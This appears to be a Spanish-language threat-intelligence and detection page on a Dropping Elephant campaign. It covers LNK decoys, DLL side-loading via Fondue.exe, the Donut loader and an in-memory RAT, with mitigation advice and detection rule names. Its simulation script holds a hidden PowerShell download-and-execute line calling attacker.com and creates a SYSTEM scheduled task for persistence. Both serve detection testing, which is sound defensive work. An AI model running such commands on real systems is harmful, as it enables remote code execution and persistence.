Malware à la Mode: Dentro de la Cadena de Carga de Dropping Elephant
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Una campaña sofisticada atribuida a Dropping Elephant utiliza documentos señuelo con temática de China para desplegar un troyano de acceso remoto actualizado, residente en memoria. La intrusión se basa en la carga lateral de DLL a través de un binario legítimo de Microsoft y el cargador de shellcode Donut para evitar la detección basada en disco. La carga útil final también utiliza métodos avanzados de evasión, incluyendo la aplanación del flujo de control y la reconstrucción de API en tiempo de ejecución.
Investigación
Los investigadores de Rapid7 descubrieron la amenaza durante una búsqueda proactiva que comenzó con un acceso directo malicioso de Windows disfrazado de documento PDF. Su investigación siguió la cadena de carga útil desde la puesta en escena inicial en chinagreenenergy[.]org a través de la carga lateral de DLL de APPWIZ.cpl hasta la ejecución de un RAT en memoria. El análisis a nivel de código con Diaphora confirmó un linaje común con muestras anteriores de Dropping Elephant a pesar de la extensa reformulación.
Mitigación
Los defensores deben priorizar las detecciones de comportamiento, como los archivos de acceso directo que inician PowerShell y la puesta en escena sospechosa de cargas útiles en C:UsersPublic. También es importante monitorear las tareas programadas con nombres inusuales e identificar la carga lateral de DLL desde directorios inesperados. Además, las defensas de endpoints necesitan visibilidad a nivel de memoria para detectar manipulación con AMSI, WLDP y ETW.
Respuesta
Si se detecta esta actividad, aísle inmediatamente los sistemas afectados para interrumpir el tráfico de comando y control adicional. Realice análisis forense de memoria para identificar el RAT inyectado e inspeccione las tareas programadas para detectar persistencia. También deben revisarse los registros de red en busca de tráfico HTTPS no autorizado hacia los dominios de C2 conocidos y cualquier indicio de exfiltración de archivos.
graph TB %% Definición de clases classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef network fill:#ffff99 %% Definición de nodos %% Acceso inicial y ejecución action_user_exec[«<b>Acción</b> – <b>T1204.002 Ejecución por el usuario: Archivo malicioso</b><br/>La víctima ejecuta un acceso directo malicioso<br/><b>Archivo</b>: GRES3001.lnk<br/><b>Disfraz</b>: Icono PDF»] class action_user_exec action action_icon_smuggling[«<b>Acción</b> – <b>T1027.012 Archivos o información ofuscados: Ocultación mediante iconos LNK</b><br/>Engaña al usuario mediante la manipulación de iconos<br/><b>Método</b>: Suplantación del icono de un archivo LNK»] class action_icon_smuggling action %% Fase del descargador process_conhost[«<b>Proceso</b> – <b>conhost.exe</b><br/>Proceso anfitrión para ventanas de consola<br/><b>Rol</b>: Inicia el descargador de PowerShell»] class process_conhost process action_binary_padding[«<b>Acción</b> – <b>T1027.001 Archivos o información ofuscados: Relleno binario</b><br/>Utiliza ofuscación mediante división de cadenas<br/><b>Objetivo</b>: Script descargador de PowerShell»] class action_binary_padding action tool_downloader[«<b>Herramienta</b> – <b>Descargador PowerShell</b><br/>Recupera señuelos y cargas maliciosas<br/><b>Origen</b>: chinagreenenergy[.]org»] class tool_downloader tool %% Post-descarga y persistencia action_masquerading[«<b>Acción</b> – <b>T1036.008 Suplantación: Suplantación del tipo de archivo</b><br/>Renombra archivos para parecer legítimos<br/><b>Directorio</b>: C:\\Users\\Public\\»] class action_masquerading action action_persistence[«<b>Acción</b> – <b>T1546 Ejecución activada por eventos</b><br/>Garantiza la persistencia mediante una tarea programada<br/><b>Nombre de la tarea</b>: GoogleErrorReport<br/><b>Intervalo</b>: Cada minuto»] class action_persistence action %% Cadena de ejecución y side-loading action_proxy_exec[«<b>Acción</b> – <b>T1218.002 Ejecución mediante binario proxy del sistema: Panel de control</b><br/>Utiliza un binario legítimo para ejecutar el cargador<br/><b>Binario</b>: Fondue.exe»] class action_proxy_exec action tool_loader_cpl[«<b>Herramienta</b> – <b>APPWIZ.cpl</b><br/>Cargador malicioso del Panel de control<br/><b>Método</b>: Carga lateral de DLL»] class tool_loader_cpl tool action_reflective_load[«<b>Acción</b> – <b>T1620 Carga reflectiva de código</b><br/>Mapea código directamente en memoria<br/><b>Cargador</b>: Cargador de shellcode Donut»] class action_reflective_load action %% Post-explotación y C2 malware_rat[«<b>Malware</b> – <b>RAT</b><br/>Troyano de acceso remoto<br/><b>Estado</b>: Residente en memoria»] class malware_rat malware action_gather_info[«<b>Acción</b> – <b>T1592 Recopilar información del sistema víctima</b><br/>Recopila metadatos del sistema<br/><b>Datos</b>: Nombre de usuario, nombre del equipo, SO, IP»] class action_gather_info action action_c2[«<b>Acción</b> – <b>TA0011 Comando y Control</b><br/>Mantiene la comunicación mediante HTTPS<br/><b>Dominio</b>: gcl-power[.]org»] class action_c2 action action_exfiltration[«<b>Acción</b> – <b>Captura de pantalla y exfiltración</b><br/>T1113 Captura de pantalla<br/><b>Objetivo</b>: Robo de datos»] class action_exfiltration action %% Flujo de conexiones action_user_exec –>|conduce_a| action_icon_smuggling action_icon_smuggling –>|activa| process_conhost process_conhost –>|utiliza| action_binary_padding action_binary_padding –>|ejecuta| tool_downloader tool_downloader –>|descarga_en| action_masquerading action_masquerading –>|configura| action_persistence action_persistence –>|activa| action_proxy_exec action_proxy_exec –>|carga| tool_loader_cpl tool_loader_cpl –>|utiliza| action_reflective_load action_reflective_load –>|instala| malware_rat malware_rat –>|realiza| action_gather_info malware_rat –>|establece| action_c2 action_c2 –>|facilita| action_exfiltration
Flujo de Ataque
Detecciones
Posible Comunicación de Intentos de Búsqueda de Dominio IP (a través de DNS)
Ver
Cambio Inusual de Página de Código Ejecución (a través de cmdline)
Ver
Tarea Programada Sospechosa (a través de auditoría)
Ver
Ejecución Sospechosa desde Perfil de Usuario Público (a través de creación de proceso)
Ver
Biblioteca Dinámica Vcruntime140 Cargada Desde Directorio Sospechoso (a través de carga de imagen)
Ver
Archivos Sospechosos en el Perfil de Usuario Público (a través de evento de archivo)
Ver
Detección de la Campaña de Malware de Dropping Elephant [Conexión de Red de Windows]
Ver
Carga Lateral Maliciosa de DLL a través de Fondue.exe [Evento de Archivo de Windows]
Ver
Detección de la Campaña de Malware de Dropping Elephant a través de Acceso Directo y Carga Lateral [Creación de Proceso de Windows]
Ver
Ejecución de Simulación
Prerrequisito: La Telemetría y la Verificación Previa al Vuelo deben haber pasado.
Racional: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y tienen como objetivo generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa del Ataque y Comandos: El adversario pretende establecer persistencia y ejecutar un descargador. Para evitar los filtros de correo electrónico estándar, utilizan un archivo de acceso directo llamado
GRES3001.lnkque aparece como un PDF. Al hacer clic, llama aconhost.exepara ejecutar un script de PowerShell. Simultáneamente, establecen persistencia creando una tarea programada llamadaGoogleErrorReportque está diseñada para ejecutarFondue.exedesde un directorio público, disfrazándose como un reportero de errores de Google legítimo para evitar una inspección casual. -
Script de Prueba de Regresión:
# 1. Simular el comportamiento del Acceso Directo/Conhost # Simulamos la ejecución de conhost.exe con la cadena específica en la línea de comandos Start-Process "conhost.exe" -ArgumentList "/c PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" # Nota: Para coincidir estrictamente con 'CommandLine contains GRES3001.lnk' de la regla, simulamos la llamada al proceso como si viniera de ese archivo. # Dado que no podemos suplantar fácilmente el nombre del proceso padre en un simple script, simulamos la cadena de línea de comandos esperada. Write-Host "[!] Simulando desencadenante GRES3001.lnk..." $SimulatedCmd = "conhost.exe /c GRES3001.lnk PowerShell.exe -Command Write-Host 'Malware Loaded'" # En un entorno real, el campo 'CommandLine' en Sysmon contendría la cadena objetivo. # 2. Simular la Tarea Programada y carga lateral de Fondue.exe Write-Host "[!] Simulando la tarea programada GoogleErrorReport..." New-Item -Path "C:UsersPublicFondue.exe" -ItemType File -Force Set-Content -Path "C:UsersPublicFondue.exe" -Value "Dummy Payload" $TaskName = "GoogleErrorReport" $Action = New-ScheduledTaskAction -Execute "C:UsersPublicFondue.exe" Register-ScheduledTask -Action $Action -TaskName $TaskName -Description "Simulated Dropping Elephant Task" -User "SYSTEM" -Force Write-Host "[+] Simulación Completa. Verifique SIEM para alertas." -
Comandos de Limpieza:
# Eliminar el binario de malware simulado Remove-Item -Path "C:UsersPublicFondue.exe" -Force # Eliminar la tarea programada maliciosa Unregister-ScheduledTask -TaskName "GoogleErrorReport" -Confirm:$false Write-Host "[+] Limpieza Completa."